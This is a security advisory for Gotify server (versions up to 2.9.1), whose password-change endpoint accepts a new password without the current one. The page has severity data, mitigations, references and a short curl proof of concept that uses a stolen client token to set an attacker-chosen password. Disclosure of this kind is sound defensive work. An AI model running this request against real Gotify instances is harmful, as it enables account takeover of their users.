GHSA-3hcj-9m7p-wwm9
Suggest an improvement- Source
- https://github.com/advisories/GHSA-3hcj-9m7p-wwm9
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-3hcj-9m7p-wwm9
- Aliases
- Published
- 2026-10-15T20:15:38Z
- Modified
- 2026-10-15T20:30:04Z
- Severity
-
- 5.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N CVSS Calculator
- Summary
- Gotify: Insufficiently Protected Password Change endpoint
- Details
-
The password change endpoint (
POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.PoC
# Attacker has obtained a client token # No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_this"}' # Expected response: # HTTP/1.1 200 OKMitigation
- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
- Restrict access to the state-changing endpoints under
/userand/current/userto trusted networks.
- Database specific
{ "cwe_ids": [ "CWE-620" ], "github_reviewed": true, "github_reviewed_at": "2026-10-15T20:15:38Z", "nvd_published_at": "2026-10-13T15:17:30Z", "severity": "MODERATE" }- References
-
- https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9
- https://nvd.nist.gov/vuln/detail/CVE-2026-102603
- https://github.com/gotify/server/pull/952
- https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9
- https://github.com/gotify/server
- https://github.com/gotify/server/releases/tag/v3.0.0
Affected packages
Go / github.com/gotify/server/v2
Package
- Name
- github.com/gotify/server/v2
- View open source insights on deps.dev
- Purl
- pkg:golang/github.com/gotify/server/v2
Go / github.com/gotify/server/v3
Package
- Name
- github.com/gotify/server/v3
- View open source insights on deps.dev
- Purl
- pkg:golang/github.com/gotify/server/v3